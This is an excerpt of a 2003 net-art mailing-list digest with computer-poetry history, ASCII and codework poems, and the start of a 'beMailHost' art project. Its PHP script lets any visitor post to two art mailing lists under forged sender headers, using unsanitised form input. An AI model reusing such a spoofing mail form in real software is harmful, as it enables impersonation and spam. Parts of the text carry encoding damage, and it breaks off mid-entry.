scandal.\n> After the sixths show the Public Morals Department\n> of the Montreal Police accused the piece of\n> immorality and they banned the play.\n> [it was on stage on a boat in the port of Montreal,\n> but out of the Canadian juridictional waters,\n> to cover the expenses of the process]\n>\n> 1969  Svante Bodin, member of the Swedish group\n> KVAL generates a part of his work 'Transition to\n> Majorana Space' with a computer\n>\n> 1973 Richard W. Bailey edits the first anthology\n> of Computer Poems at Protagonnising Press, Michigan,\n> USA. The volume include 17 writers from Canada,\n> England, and USA, among others Marie Boroff,\n> Robert Gaskins, Louis T. Millic, Edwin Morgan,\n> John Morris, Archie Donald, Noreen Geend.\n> Edwin Morgan published already in 1967 in\n> Emmett Williams's anthology of Concrete Poetry\n> a poem composed on computer from 1963 with the\n> title 'jollymerry' (Concrete Poetry, Something\n> Else Press, 1967)\n>\n> 1975\n> at the end of the sixties Raymond Queneau and\n> Fran\u00e7ois Le Lyonnais found OULIPO, and their\n> first manifesto states that they plan to use\n> computers for reserach and generating texts.\n> Later among others Italo Calvino, Georges Perec,\n> Jacques Roubaud, Mich\u010dle M\u00e9tail and Harry Mathews\n> joined the group. In 1975 Raymond Queneau publishes\n> his Cent mille milliards de poemes, and the OULIPO\n> presented the program developed for at Europalia\n> in Brussels. Readers were able to generate themselves\n> variants and print them.\n>\n> 1973\n> in the beginning of the seventies Jean-Pierre Balpe,\n> Pierre Lusson and Jacques Rubaud founded the\n> literature research group Alamo, that studies and\n> generates computer literature. Jacques Rubaud constructed\n> numerous literary softwares, the most known\n> is 'Alexandrins artificiels', that generates infinite\n> number of perfect alexandrin verses. He introduced in\n> the computer several thousand words of classic literature,\n> but the verses that he generated did not cohere in a poem.\n> Rubaud composed together with Pierre Lussonnal and\n> Paul Braffort the plagiarist generators 'Rimbaudelaire'\n> and 'Mallarm'. Jean-Pierre Balpe is known for the his\n> orientation towards literary texts generated on natural\n> languages, his most famous generator is 'Po\u010dmes d'amour'\n> that generates love lithanies and the '1536 peties contes\n> parfois tristes ou pervers' for which he introduced in the\n> computer 620 different structures and several thousand words.\n> He published 1536 variants of the tales that he selected\n> on the random basis out of the 10 on 45th power possible\n> variants.\n> \n> 1979 \n> Csaba Tubak launches at the meeting of the avantgarde paper\n> magazine Atelier Hongrois [Magyar Muhely] in Hadersdorf (Austria)\n> his 'Electronic Game and Tool for Writers'.  This was a program\n> that generated randomly texts from the 12.000 words vocabulary and\n> texts of the avantgarde poet Alpar Bujdoso.  Though the semantic\n> and grammatical variants of the generative process were controled\n> with algorythms, just as the surrelist poems, these texts could not\n> be described with criteria of lingustic competence, but with the\n> avantgarde view of the literature.\n\n> 1985 Tibor Papp presented in the Pompidou Center\n> 'Les tr\u010ds riches heures de l'ordinateur, n\u00b01'  -\n> the first dynamic computer generated visual poem\n>\n> 1989 Philippe Bootz, Jean-Marie Dutez, Fr\u00e9d\u00e9ric de\n> Velaz, Claude Maillard, Tibor Papp found and edit Alire,\n> a magazine that publishes computer poetry only. It\n> appeared twice a year first on floppy, later on CD-ROM,\n> in the nineties several magazines started that were\n> possible to consult on electronic form only,\n> Jean-Pierre Balpe also started the Caos magazine.\n>\n> and the nineties...\n>\n>\n> greetings,\n> anna\n>\n> Alan Sondheim <sondheim {AT} panix.com>:\n> >\n>\n>\n>\n>\n>\n\nhttp://www.asondheim.org/ http://www.asondheim.org/portal/\nhttp://www.anu.edu.au/english/internet_txt\nTrace projects http://trace.ntu.ac.uk/writers/sondheim/index.htm\nfinger sondheim {AT} panix.com\n\n------------=_1052325226-626-631\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1052325226-626-631--\n\n\n\n\nDate:         Mon, 5 May 2003 13:44:17 -0700\nFrom: solipsis <solipsis {AT} HEVANET.COM>\nSubject: (noishard)\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\n\n(noishard)\n\n\n\n{                  Mzhejudg-zhejoll-MsheunactuactM\n\n                      [b-o/ro\\r l(\\e,p/-%lat me-/)k n\\ilw/,-ay\n                         gr/(e\\,-blit) sl,/up-m\\%et f/u\\l pf,l/\\-id\n                            di\\s/sn-er n\\igl/(e,to-x v\\iv)%r/-ed\n                               po/ll-%(i\\du ju\\tsta-p/)ped k\\o-z/r\n                                  e/r-t\\ui (w-,e/l\\f g%um/nic-k\\u)gs\n                                      (dert/st-\\arf h,o/ol-ri\\p %ti-lli/x\\ux)\n                                          na/be-rsm\\a%er ul(-m/pre\\sta)\n                                                       ga-ss/enfu,l(k\\ret%s)-aw p/w-\\a\n                                                                     mi-m(ife/ve)rni\\p,ple% ju-se/n\\z\n                                                                                   lo-b(ic/rib%\\i)bl,e de\\tor-s/ooni\n                                                                                                     fr-e(ti/n\\es ni-h%i\\lligo)b,/blers\n                                                                                                                           bu\\s,ket%(w/hiv-spu)rn ke,/p-k\n                                                                                                                                                    lam/m(%-,uj\\io unk-if\\iufi)u/dor]\n}\n\n\n\n\nDate: Mon, 5 May 2003 10:25:18 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nTo: POETICS {AT} LISTSERV.BUFFALO.EDU\nSubject: ANY TIME ANY PLACE (excerpt)\n\nPreliminary results of an experiment. (Not to be taken as a finished work.)\nCommentary of any sort is welcome.\n\n0         1         2         3         4         5         6         7\n012345678901234567890123456789012345678901234567890123456789012345678901\n\n                               oh      oh\n                                   =AD =AD     =AD =AD\n                                      =AD  oh   =AD  oh\n                                         oh  oh  oh  oh\n                                            oh  God oh  God\n                                               oh  oh  oh  oh\n                                                 oh  oh  oh  oh\n                                                   oh  =AD   oh  =AD\n                                                     oh      oh\n\n                                                    John    here\n                                                 hurry   began\n                                             to work oh John   =AD\n                                         to enjoy John  oh    oh\n                                    to leave   hurry        man\n                               a branch    sapling off    spot\n                         her foot      only her head   while\n                    his body       she kept wasn't  active\n               her main       suddenly   already clasped\n           the same       he tried    over her breasts\n       and felt      a minute     to leave for both\n    her hand     and left     the bank  to plunk\n  her hand   reaching     her lips  a strand\nthe pool his mind     of Irish   to laugh\nposing  Darrow    his face    casually\n man     off   he moved   her lose\n  =AD       =AD to enjoy   her legs\n hers        wave   the same\nto run  =AD     oh to stay\nhere    just\n =AD       not in the water!\n oh     =AD  her =AD       to enjoy\nwaves oh     =AD              to enjoy\nJohn        hers                 the same\noh      oh to leave                   for both\n               her hand                    and left\nman     off        he moved                    her lose\nwater   until          his body                    she kept\nas best concern             suddenly                 her eyes\n not here to enjoy              her legs               the same\n  he tried   it again                he began           and felt\n   a minute      to leave                for both       her hand\n     and left       the bank                 to plunk her hand\n       reaching         her lips                ever    hair\n         the pool           his mind             oh      oh\n            to leave            for both     with the buttons\n               reaching             began   knelt      the pool\n                  his mind          man     off         he moved\n                     her lose  her foot    his body     she kept\n                                              her main suddenly\n                    and she shrieked             her =AD   waves\n               the same        he tried            =AD       =AD\n           to enjoy                her legs       God     man\n       a branch                       but firm where she landed\n    to fight                             oh      oh     to leave\n  for both                             began   knelt    the pool\nhis mind                           of Irish    to laugh her hips\nhis face                      casually           turned  it off\n bastard!                 a branch                 off     how\n   he moved          her lose                       =AD       =AD\n     to enjoy    her legs                         hers    wave\n         came    soon                          over her breasts\n         wave    John                       a minute    to leave\n      for both    her hand               and left       the bank\n    to plunk           her hand       reaching          her lips\n  a strand                  Darrow  deeply             his mind\n of Irish                     man     off             he moved\nher lose                  her foot    his body      she kept\nher main              suddenly             already clasped\n the same         he tried                     =AD       =AD\n   to enjoy    her legs                       waves   still\n     himself on both                       a minute  to leave\n        =AD       =AD                       to enjoy       her legs\n      waves   still                 he tried            it again\n    he began   and felt          a minute               to leave\n  for both         her hand   and left                the bank\n to plunk              man     off                  he moved\nher lose               water   until             his body\nshe kept            her main    suddenly     her eyes\nnot here        to enjoy             John    hers\n the same    he tried               under   to go\n   on both Shirley             to leave      for both\n     man     off         he moved               her lose\n      =AD       =AD     to enjoy                       her legs\n    around  God   hurry                              for both\n  her hand oh      oh                                  to leave\n enough  a frog  and left                               the bank\nbush    ever        a strand                            the pool\noh      oh              to leave                       for both\n                            her hand                  and left\n=AD       =AD                       to enjoy            her legs\n =AD       =AD                          to enjoy      her legs\n                                       her to the shore\n\n       oh      oh                      to stay forever\n         just    want              to leave      for both\n            a frog  parted    a strand             the pool\n               when he got     man                   a branch\n                  off     oh to stay                   to leave\n                 take    take    for both               her hand\n             and left    the bank     to plunk          her hand\n         reaching           her lips       a strand     the pool\n      his mind                 of Irish        them to one side\n    her hips                       his face        man     off\n  he moved                            her lose      =AD       =AD\n to enjoy                                her legs waves   still\nhe tried                                    God     man a branch\nbut firm                                    off     how he moved\n her lose                                only her head   while\n   his body                           she kept     =AD       =AD\n     to enjoy                     her legs       hers    wave\n        the same              he tried       it again he began\n           and felt       a minute       to leave      for both\n               of them he took      her hand            and left\n                  =AD       =AD    to enjoy                 her legs\n               inexorably      oh                       to leave\n            was only up to his knees                   her foot\n         surely  wasn't         her main              suddenly\n      her =AD   waves                  the same       he tried\n    God     man                          a branch but firm\n  oh      oh                                 God     man\n =AD       =AD                                    oh      oh\n                                           like this please\n                                        to leave     for both\n=AD       =AD                           to enjoy           her legs\n oh      oh                      to leave               for both\n   oh      oh                 to leave                  for both\n     moon    bush         reaching                     her lips\n       parted  Darrow  the pool                       his mind\n          his desire      oh                        to leave\n             man     oh to stay                   to leave\n             take    take   for both           her hand\n          and left  the bank     to plunk  her hand\n        reaching        her lips      =AD       =AD\n      to enjoy              clasped as they created\n    the same                  oh      oh       to leave\n  for both                her hand  and left       the bank\n to plunk            her hand          reaching      her lips\na strand         the pool                  his mind    of Irish\nto laugh     her hips                         his face  casually\nof grass to bathe                                swelled to hell\n sting   again                                     off     how\n  oh      oh                                        =AD       =AD\n  =AD       =AD                                      it too  around\n hers    wave                                the same   he tried\nhimself on both                          a minute       to leave\nfor both her hand                   and left            the bank\n to plunk   her hand           reaching                her lips\n   a strand    the pool  his mind                     of Irish\n     to laugh     oh      oh                        to leave\n        was man began  Darrow                     the pool\n                         his mind              of Irish\n       them to one side     her hips        his face\n    casually       of grass    to bathe  movement\n  her hand             bastard!    man     off\nhe moved                    caught  oh    John\nto leave                      oh      oh to leave\n for both                 her hand   looking colored\n   and left           the bank           parted  Darrow\n     the pool     his mind                   fell    away\n         across  turned                         man     off\n            =AD       =AD                              oh      oh\n         to leave for both                           =AD       =AD\n      to enjoy         her legs\n    the same                he tried\n  it again                       he began\n and felt                             a minute         =AD       =AD\nto enjoy                                   her legs   =AD       =AD\nto enjoy                                       waves  =AD     oh\nto leave                                          =AD Darrow =AD\n to enjoy                                      God   oh   God\n   to leave                                hurry   moon laughed\n     and left                          slipped to face  reaching\n       her lips                    them to one side     her hips\n\n\nETC.\n\n\n\nTo: <webartery {AT} yahoogroups.com>\nFrom: \"Eryk Salvaggio\" <eryk {AT} maine.rr.com>\nDate: Mon, 5 May 2003 13:17:17 -0400\nSubject: Re:  trakeshun7\n\n\nDshjashdkahhdashjkdhassajkkljakl,\nadskajdjkaduioauduiuw0987d9as90?\nDjahjjkldhas789as78duajkhdjskhak.\nDjka987908098das908cvnm z,mcn,nc.\n\nAs089da890as890dsa\ndsjajdlajldjs89a7d897d89s7a897dakd\ndskajdkljaljdklsjadklj89a7d897a?\n\nDsklhkdjhajkds897a897dsajdnm,an\naskhjdla7d89w7dwandm,anm,w?\nAiwoda87d89w789awedhjkajkdbnsa\nakshjal78w7d87ahdgfhjgakgdshajas.\nAsjkdslahldsad876a87897wqkjbnda\naskdjajs.\n\n-e.\n\n\n----- Original Message -----\nFrom: \"Alan Sondheim\" <sondheim {AT} panix.com>\nTo: <webartery {AT} yahoogroups.com>\nSent: Monday, May 05, 2003 12:06 PM\nSubject: [webartery] trakeshun7\n\n\n>\n>\n> trakeshun7\n>\n> #!/utzzzhr/lokeyl/bO!On/pkoRpoRatel5\n> whO!Ole (<tZzzhTDO!ON>) {\n> tzzzh/vel/vel/g;\n> tzzzh/veL/veL/gO!O;\n> tzzzh/(\\UtZzzhE-YOU)tzzzh([aeO!Oou!])/1TAZ2/g;\n> tzzzh/B([e]*[^aeO!Oou!][aeO!Oou!])/BOO1/g;\n> tzzzh/b([e]*[^aeO!Oou!][aeO!Oou!])/OOP1/g;\n> tzzzh/B[e]+(\\UtZzzhE-YOU)/B1/g;\n> tzzzh/b[e]+(\\UtZzzhE-YOU)/b1/g;\n> tzzzh/EEK(\\UtZzzhE-YOU)/EEK1/g;\n> #tzzzh/eke![]/eek1/g;\n> #tzzzh/([^aeO!Oou!][^aeO!Oou!])e(\\tzzzh)/12/g;\n> #tzzzh/([^aeO!Oou!])e([^aeO!Oou!][^aeO!Oou!])/12/g;\n> tzzzh/ooh/ooh/g;\n> tzzzh/([\\UtZzzhE-YOU]*)ooh1(\\UtZzzhE-YOU)/1\\\\ooh12/g;\n> tzzzh/([\\UtZzzhE-YOU]*)KA!++(\\UtZzzhE-YOU)/1KA!++2/g;\n> tzzzh/([\\UtZzzhE-YOU]*)u(\\UtZzzhE-YOU)/1u2/g;\n> tzzzh/([\\UtZzzhE-YOU]*)U(\\UtZzzhE-YOU)/1U2/g;\n> tzzzh/([\\UtZzzhE-YOU]*)ru(\\UtZzzhE-YOU)/1ru2/g;\n> tzzzh/([\\UtZzzhE-YOU]*)ru(\\UtZzzhE-YOU)/1RUR2/gO!O;\n> tzzzh/([\\UtZzzhE-YOU]*)ROBOT robot\n> ThornyornyornyornyornyornyornyornyornYkoRpoRatee(\\UtZzzhE-YOU)/\n> 1ROBOT robot ThornyornyornyornyornyornyornyornyornYkoRpoRatee2/g;\n> tzzzh/([\\UtZzzhE-YOU]*)robot Thornyornyornyornyornyornyornyornyorn\n> YkoRpoRatee(\\UtZzzhE-YOU)/1robot ROBOT robot Thornyornyornyornyorn\n> yornyornyornyornYkoRpoRatee2/gO!O;\n> tzzzh/([\\UtZzzhE-YOU]*)t[o]+(\\UtZzzhE-YOU)/142/gO!O;\n> tzzzh/(\\UtZzzhE-YOU)utzzzhe-me/1utzzzhe-me/g;\n> tzzzh/(\\UtZzzhE-YOU)UtZzzhE-YOU/1UtZzzhE-YOU/g;\n> tzzzh/utzzzhe-me(\\UtZzzhE-YOU)/u1/g;\n> tzzzh/UtZzzhE-YOU(\\UtZzzhE-YOU)/U1/g;\n> tzzzh/phouloulouloulouloulouloula4[u]*r/4/gO!O;\n> tzzzh/[tke!]O!Oon/trake!|^shun/gO!O;\n> tzzzh/([\\UtZzzhE-YOU]*)ru(\\UtZzzhE-YOU)/1=2/gO!O;\n> tzzzh/([\\UtZzzhE-YOU]*)=(\\UtZzzhE-YOU)/1=2/gO!O;\n> tzzzh/([\\UtZzzhE-YOU]*)= Thornyornyornyornyornyornyornyornyorn\n> Yat(\\UtZzzhE-YOU)/1=2/gO!O;\n> tzzzh/([\\UtZzzhE-YOU]*)utzzzhe-mekoRpoRatee(\\UtZzzhE-YOU)/1=2/gO!O;\n> tzzzh/([\\UtZzzhE-YOU]*)utzzzhe-meatzzzh(\\UtZzzhE-YOU)/1=2/gO!O;\n> tzzzh/([\\UtZzzhE-YOU]*)=(\\UtZzzhE-YOU)/1=2/gO!O;\n> tzzzh/[\\UtZzzhE-YOU +?/gO!O;\n> tzzzh/l(\\UtZzzhE-YOU)/l1/g;\n> tzzzh/uEEK/ukeyatrake!|^shun/g;\n> tzzzh/elelel/elelel/g;\n> tzzzh/tzzzh([^zh])/tzzzh1/g;\n> tzzzh/tZzzh([^ZH])/tZzzh1/gO!O;\n> tzzzh/-ukeykukeyk/-u-ukeykukeyku-ukeykukeyk/g;\n> tzzzh/ke!([O!Oe!])/z1/g;\n> tzzzh/ke!/ke!/g;\n> tzzzh/KA!/KA!/gO!O;\n> tzzzh/th([aeO!Oou!])/ThornyornyornyornyornyornyornyornyornYorn!1/g;\n> tzzzh/Th([aeO!Oou!])/Thornyornyornyornyornyornyornyornyorn!1/gO!O;\n> tzzzh/keyue/keyue/g;\n> tzzzh/k-baelelel/k-baelelel/gO!O;\n> tzzzh/korporate/korporate/g;\n> # O!O ruletzzzh\n> tzzzh/O!On([de])/9n1/gO!O;\n> tzzzh/O!O/O!O/gO!O;\n> tzzzh/!([\\UtZzzhE-YOU])/!1/gO!O;\n> # phouloulouloulouloulouloulatatzzzhzO!Otzzzht! ruletzzzh\n> tzzzh/phouloulouloulouloulouloulatatzzzhzO!Otzzzht!\n> (\\UtZzzhE-YOU)/phouloulouloulouloulouloulatatzzzhzO!Otzzzht!1/g;\n> tzzzh/FAtZzzhKAYO!OtZzzhT!(\\UtZzzhE-YOU)/FAtZzzhKAYO!OtZzzhT!1/g;\n> tzzzh/phouloulouloulouloulouloulatatzzzhzO!Otzzzht!/\n> phouloulouloulouloulouloulat/g;\n> tzzzh/koRpoRate/koRpoRate/g;\n> tzzzh/(\\UtZzzhE-YOU)phouloulouloulouloulouloul/1phoul/g;\n> tzzzh/\\\\([ooh-9])/1/g;\n> tzzzh/z[e][ea](\\UtZzzhE-YOU)/z1/g;\n> tzzzh/kkkkkkkkx/kkkkkkkkkx/g;\n> tzzzh///g;\n> prO!Ont $_;\n> }\n>\n> __\n>\n>\n>\n> Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/\n>\n>\n>\n\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\n\n\nnettime unstable digest vol 46\nSun May 11 20:29:17 2003\n\n\nSubject: <SPAM?> =?ISO-2022-JP?B?GyRCIVo2WzVeRkM9OCFbPXckLDVhGyhC?=\n    From: ringo55 {AT} illegal.de\n    To: \n\nSubject: lok33!\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: in a simple philip -ick\n    From: <dymond {AT} idirect.ca>\n    To: <_arc.hive_ {AT} lm.va.com.au>\n\nSubject: Test Shows 99.99% of High School Seniors Can't Read Perl\n    From: Maurizio Mariotti <mariotti {AT} venturenet.co.za>\n    To: CYBERMIND {AT} LISTSERV.AOL.COM\n\nSubject: rainy day in unixville\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: I, ROBOT\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: webartery {AT} yahoogroups.com\n\nSubject: L-System Pegasus\n    From: solipsis <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: <SPAM?> ''ensimm{isen ADAC a-brac abazur\n    From: svalvotajuklochywpy {AT} lycos.com\n    To: cantsin {AT} mail.zedat.fu-berlin.de\n\nSubject: Re:  Re:  Dze Ztandard !nzkr!pz!on\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: anna balint <epistolaris {AT} freemail.hu>\n\nSubject: (noishard)\n    From: solipsis <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: ANY TIME ANY PLACE (excerpt)\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: POETICS {AT} LISTSERV.BUFFALO.EDU\n\nSubject: Re:  trakeshun7\n    From: \"Eryk Salvaggio\" <eryk {AT} maine.rr.com>\n    To: <webartery {AT} yahoogroups.com>\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 11 May 2003 20:31:01 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200305121139.h4CBdnU28655 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0305/msg00021.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 46"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00004",
                "content": "\nFrom: born.matronym <magh {AT} chello.no>\nTo: \"_arc.hive_ {AT} lm.va.com.au\" <_arc.hive_ {AT} lm.va.com.au>\nSubject: beMyGhost = eMailHost + BG_\nDate: Mon, 28 Apr 2003 22:48:48 +0200\n\n                                   <!--\n                                    (\n        /   .                       (\n\"q_.     `l.  \".                    (\n\"4_   `l.    /.                .\n\"4l `n.     4l              ()                           ____.\n           4nn)     `(l             )                       _n\"\"`    `4l.\n            `4nl       \"/.          )                     jf             hl\n               4ml       4l         )       n) /_       jf                 4.\n                (nn.       n_      /        4)  `l    .n`                   `n\n                  `(n)      4n.    u        (n    4. jf                      `n.\n                     hn.      4l   j         n)    hnf                        `n\n                      (mu      `n.`)         `n    hfn                         `l\n                       `#h_     `nn)          (l  jf `n.                        n\n                         (n)      nl           n j#    4.                       ()\n                          nnl     m`n.         (nn      hl.`     l_#4)`/.       n\n                          4)4l.   # `n.        .n)     .f4h.   j4nf\"4hl 4.     (`\n       _                  (n (l  ()  `n.       mql    _f` `n /\" j`       l   _/\n l      \"\"_                n  (h _)    n.     j) 4)  .f   .fn. h)       _n.\n (.        `q)             4)  fnl )    h    (h  (n  n  .(  (njf         ()\n  n          `q_           `l  ((n       .  `n    ()j)        nl         ()\n  (h           `l           h  (jfn/        n`     nf `      (fn)        ()\n   (l            `.         () ()``n       ()      h)       .f (n.       .n\n    4l             /.        n (n  (l     .f       fn       n`   h.      (n\n     hh                      4..n   fl    n`      (`()     (f    `n      (f\n      4#                     `l(n    (l  j)       n  h     f`     `l     ()\n      `n)                     n/4)  ( 4).n       .)  ()   (        4l    ()\n       `n)                    (nh)  (  4j`       n    l   )         4)   j)\n        `n.                   (n()  n  (n             4. (`          n   n\n         (n                   (4n)  (. n4)            `).)           4l (nf\".\n          4l                  4 nn  . j` h.            4              h_nf  (\n           nl                 n (n   lf  `m            ()             (n)   ()\n           (n)               `) (n  (h    4)           _`            ./n     )\n            `n.              ()  n  (`     m          . (             .n)   .)\n             (n              n   nl j`     4)         `                4)   ()\n              4l             h   (`_(      (n            )             (n   (`\n               #l            h     `(       n            .             (n   n\n                ul          ()    ``/       ()     _)    (             j)  .)\n                 #)         ()  `   4       (l           (             m`  j\n\".        j)   `  `        n            .           j`  (`\n                   (.       n       )`       n            )         .h   .)\n                    j.      n        `      .)            )       _\"    .\"\n                    `h.    (f         4     ()            )             `\n                     `q.   ()         `     j             )          .\n                       h   h`              .`             )\n                        l  #           `   f              )\n                   .     _(f .          (.f\n              _.`        `h)            _)               .\n           _`             n4           / `      _\n         .`               # .             (.       `` .  `\n         h               ()  4.     `      #            ( ` ..\n                         ()   4) .         `)                   ` ..\n       _                 n     ./            /         )              `\"._.\n        )     `          f    `              `                               \"`_\n        (.              ()  .                 `l                                 `.\n         h.             j .`                   ()  _  .                           .n\n          ))            n/    `                 \"n              \" \"``       \"\"\"\"`\n          (`.          .fj                 ..    \"`\n           l\".       _h()            .. `         `_\n           n `. . /`/` ()                           )\n          / l      .   n\n         (  n    `                                    .\n         n  (\n         `.\n          `-->\n\n\n\n<html>\n<head>\n<title>beMailHost</title>\n<SCRIPT LANGUAGE=\"JavaScript\" TYPE=\"text/javascript\">\n<!--\nvar letters = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\u0106\u0158\u01390123456789 .,:?'-/()\\\"\";\nvar morse = new Array(\n\n\n\n\n\n\n\n\".-\",\t\t\t\"-...\",\t       \"-.-.\",\t    \"-..\",\".\",\"..-.\",\n\"--.\",\"....\",\t\t\"..\",\t      \".---\",\t   \"-.-\",      \".-..\",\n\"--\",\t\"-.\",           \"---\",\".--.\",  \"--.-\",    \".-.\",\n\"...\",    \"-\",          \"..-\",  \"...-\", \".--\",    \"-..-\",       \"-.--\",\n\"--..\",\".-.-\",          \"---.\",        \".--.-\",    \"-----\",      \".----\",\n\"..---\",  \"...--\",      \"....-\",       \".....\",     \"-....\",    \"--...\",\n\"---..\",    \"----.\",    \" \",           \".-.-.-\",      \"--..--\",\"---...\",\n\"..--..\",  \".----.\",    \"-....-\",      \"-..-.\",         \"-.--.-\",\"-.--.-\",\n\".-..-.\");\n\n\n\n\n\n\n-->\n</script>\n</head>\n\n<?php\nif ($action == 'mail') {\n\n\n\n\n\t\t/* beMailHost\n\n\t\tscript & drawing by */ $sender =\n\t\t\"born.matronym <magh {AT} chello.no>\";//noemata.net\n\t\t/* asciiart done with BG_ascii software\n\n\t\t. . .\n\nA public mailscript for posting to\n norwegian art mailinglists :\ne {AT} e-kunst.no - http://e-kunst.no\nand \n110 {AT} kunst.no - http://kunst.no/mailman/listinfo/110\n*/\n\n\n\n\n\t$headers =\n\"From: $sender\\r\\n\".\n\"Reply-To: $sender\\r\\n\".\n\"Return-Path: $sender\\r\\n\";\n\n\n\n// \t\tAs part of the project Be My Ghost \n// \t\tthe sender is permitted to impersonate  born.matronym\n// \t\t(magh {AT} chello.no) and post messages to these lists.\n\n\n\n\n\n\n\tif ($ekunst) {\n\t\tif (mail('e {AT} e-kunst.no', $subject, $input, $headers)) {\n\t\t\t$msg .= 'e {AT} e-kunst.no OK<br>';\n\t\t}\n\t}\n\n\tif ($liste110) {\n\t\tif (mail('110 {AT} kunst.no', $subject, $input, $headers)) {\n\t\t\t$msg .= '110 {AT} kunst.no OK<br>';\n\t\t}\n\t}\t\n}\n\n\t/*\n\tThe use of this script is not being logged by Noemata.net.\n\tThe script is licenced as OpenContent and is freely available\n\tfor modification, distribution, and uploading on other servers.\n\t*/\n\nelseif ($action == 'show_source') {\n\tshow_source($PHP_SELF);\n\texit;\n}\n?>\n\n<body bgcolor=white>\n\t<embody bmgcolor=black>\n\n<center>\n\t<unbalanced>\n\n\n\n\n<img\n\tsrc=\"http://noemata.net/bmg/dd.png\";\n\n\t\t\twidth=554\n\t\t\theight=738\n\n>\n\n\n\n\n\n<form method=post action=\"./bemailhost.php\">\n<input type=hidden name=action value=mail>\n<!--\n\n\t__________________________-the dots, dashes and spaces of morse.code\n\n\teither of two systems of\n\n\t\t\t\tclicks and pauses,\n\t\t\t\tclicks and pauses,\n\n. . .\n\n-->\n\n<table border=0><tr>\n<td align=right valign=top>\n\n<pre>.\n... . . .\n\u00a8..\n.\n. .\n. ... .  .\n\n  . .\n   . . ..\n .\n\n ..\n</pre>\n\n<Backwards, silence goes faster, three times.>\n\n\n\n<input type=text name=subject size=30 value=\"beMyGhost \"><br>\ne-kunst<input type=checkbox name=ekunst checked>\n110<input type=checkbox name=liste110>\n<br>\n<input type=submit value=mail>\n<p>\n<pre>\n\n\n\n</pre>\n<?php echo $msg.'<br>'; ?>\n<a href=\"./bemailhost.php?action=show_source\">show_source($PHP_SELF)</a><br>\n<a href=\"./bemailhost.txt\">or txt</a>\n</td>\n\n<!--\n\n\n  - .... .   --. .-. . .- -   -.. .. ...- .. -.. . -..  \n\n    .-.. .- -. -.. ...   .-- .... . .-. .   -- --- -. .. -.-. .- -.   -.. --- -- .. -.  .- - \n.-. .. -..-         .- -. -..   -... .-. . . -.\n\n      -.- .. .-.. .-.. . .-. ...   -... .-. .. . ..-. .-.. -.--\n\n        -.. .- -. -.-. .   .-   ... -.- .. .-. -- .. ... ....   --- .-.           - .--  --- \n--..--   ..- -. - .. .-..   ..   - --- ..- -.-. ....   .- . --- -.   - .... . .-.  .   .-- \n.... . .-. . \n\n\n         - .... .- -. .- - --- ...   .- -. -..         \n\n                    . .-. --- ...   .... --- .-.. -..   ... .-- .- -.-- --..--                                    \n..   .-- .. .-.. .-..   .-. . -- . -- -... . .-.  .-.-.- .-.-.- .-.-.-  \n\n\n\n\t..fors\u013avidt et halvdXdsrike...\n. . .\n\n-->\n\n<td align=left valign=top>\n<textarea name=input cols=50 rows=10></textarea>\n<pre>\n . .\n  ..   . . .\n .\n\n .\n    ...\n   . .  ..\n  .\n</pre>\n<!--\n\n\t\t\t\t\t\t\tng\u013aende de kryptiske beskjeder  du f\u013ar p\u013a\nHadesRadio i morsekode..\n\n-->\n<div align=right>\n<input type=\"button\" value=\"morse.code\" onClick=\"javascript:translate(this.form)\">\n<input type=\"button\" value=\"plain.text\" onClick=\"javascript:translate_back(this.form)\">\n</div>\n</table>\n</form>\n</center>\n\n\n\n\n\n</body>\n\n<!-- From: Nobody <nobody {AT} nomatter.not>\n\n\n\t\t\t\t\t\t###   ##   ##  ######\n\t\t\t\t\t\t# #   ### ### ##    #\n\t\t\t\t\t\t####  # # ### #      \n\t\t\t\t\t\t#  #  # ### # ##  ###\n\t\t\t\t\t\t#### ### # ###  #####\n\n              ||Ellerkanskje\u0164ego-l\u0159sfornuft\u0165fordidenikkestrebermot\u013afryse\n              ||segfastietlogisk/abstrakt\u0164jeg\u0165elleriennaturgittsubstans?\n                                        ||Ellerhvamed\u0164konteksttenkning\u0165?\n              |Fornuftenerlevendeogen\u013and.Detransparenserviharomtaltervel\n                                              |henholdsvis\u013andogsp\u0159kelse.\n                |Hadesbest\u013aravulikerigidehandlingsm\u0159nstreogprogramscript\n                    - |\"Tantalus,inspiteofhisthirst,stoppedforamomenthis\n                